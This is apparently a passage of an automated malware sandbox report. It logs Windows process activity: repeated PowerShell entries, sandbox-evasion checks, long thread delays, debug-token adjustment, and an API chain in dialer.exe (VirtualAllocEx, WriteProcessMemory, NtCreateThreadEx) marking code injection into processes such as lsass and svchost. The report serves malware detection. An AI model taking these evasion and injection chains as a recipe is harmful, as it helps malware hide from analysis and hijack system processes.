Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,

17_2_00000001400010C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5683	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4171	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1759	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 1723	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 8277	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9214	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 698	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9871	Jump to behavior

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_31-14886
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_3-14833
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_32-14869

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_17-409

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	API coverage: 4.9 %
Source: C:\Windows\System32\lsass.exe	API coverage: 7.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.4 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 7.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7364	Thread sleep count: 5683 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7368	Thread sleep count: 4171 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7424	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 7656	Thread sleep count: 248 > 30	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 7656	Thread sleep time: -248000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 7828	Thread sleep count: 1759 > 30	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 7828	Thread sleep time: -175900s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 8092	Thread sleep count: 1723 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 8092	Thread sleep time: -1723000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 8092	Thread sleep count: 8277 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 8092	Thread sleep time: -8277000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 8100	Thread sleep count: 9214 > 30	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 8100	Thread sleep time: -9214000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 8100	Thread sleep count: 698 > 30	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 8100	Thread sleep time: -698000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8108	Thread sleep count: 246 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8108	Thread sleep time: -246000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 8116	Thread sleep count: 9871 > 30	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 8116	Thread sleep time: -9871000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8124	Thread sleep count: 253 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8124	Thread sleep time: -253000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8132	Thread sleep count: 254 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8132	Thread sleep time: -254000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8144	Thread sleep count: 254 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8144	Thread sleep time: -254000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8152	Thread sleep count: 248 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8152	Thread sleep time: -248000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8160	Thread sleep count: 196 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8160	Thread sleep time: -196000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8168	Thread sleep count: 253 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8168	Thread sleep time: -253000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8176	Thread sleep count: 242 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8176	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8184	Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 8184	Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4960	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 4960	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2060	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 2060	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6016	Thread sleep count: 235 > 30
Source: C:\Windows\System32\svchost.exe TID: 6016	Thread sleep time: -235000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4348	Thread sleep count: 235 > 30
Source: C:\Windows\System32\svchost.exe TID: 4348	Thread sleep time: -235000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2128	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 2128	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 340	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 340	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2860	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 2860	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5228	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 5228	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5800	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 5800	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4192	Thread sleep count: 234 > 30
Source: C:\Windows\System32\svchost.exe TID: 4192	Thread sleep time: -234000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3180	Thread sleep count: 248 > 30
Source: C:\Windows\System32\svchost.exe TID: 3180	Thread sleep time: -248000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5000	Thread sleep count: 233 > 30
Source: C:\Windows\System32\svchost.exe TID: 5000	Thread sleep time: -233000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6944	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 6944	Thread sleep time: -250000s >= -30000s

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Last function: Thread delayed
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF7DCE0 FindFirstFileExW,	3_2_000002C5CCF7DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC64DCE0 FindFirstFileExW,	22_2_00000225DC64DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AEDCE0 FindFirstFileExW,	31_2_00000202C0AEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A66130DCE0 FindFirstFileExW,	32_2_000002A66130DCE0
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDDDCE0 FindFirstFileExW,	33_2_000002BAAEDDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879CDCE0 FindFirstFileExW,	34_2_0000026A879CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537ADCE0 FindFirstFileExW,	35_2_00000179537ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D56DCE0 FindFirstFileExW,	36_2_000002295D56DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_0000025306E6DCE0 FindFirstFileExW,	37_2_0000025306E6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_000001845B3ADCE0 FindFirstFileExW,	38_2_000001845B3ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000001ADECD4DCE0 FindFirstFileExW,	39_2_000001ADECD4DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D55907DCE0 FindFirstFileExW,	40_2_000001D55907DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_00000241A9EADCE0 FindFirstFileExW,	41_2_00000241A9EADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD7319DCE0 FindFirstFileExW,	42_2_000001CD7319DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E89DCE0 FindFirstFileExW,	43_2_000002824E89DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B47B3DCE0 FindFirstFileExW,	44_2_0000021B47B3DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_000002087006DCE0 FindFirstFileExW,	45_2_000002087006DCE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\dialer.exe

API call chain: ExitProcess graph end node

graph_17-477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Code function: 3_2_000002C5CCF7D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_000002C5CCF7D2A4

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Code function: 3_2_000002C5CCF72F04 GetProcessHeap,HeapAlloc,StrCmpNIW,GetProcessHeap,HeapFree,

3_2_000002C5CCF72F04

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF7D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_000002C5CCF7D2A4
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF77D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_000002C5CCF77D90
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC647D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_00000225DC647D90
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC64D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_00000225DC64D2A4
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00000202C0AED2A4
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AE7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00000202C0AE7D90
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A66130D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000002A66130D2A4
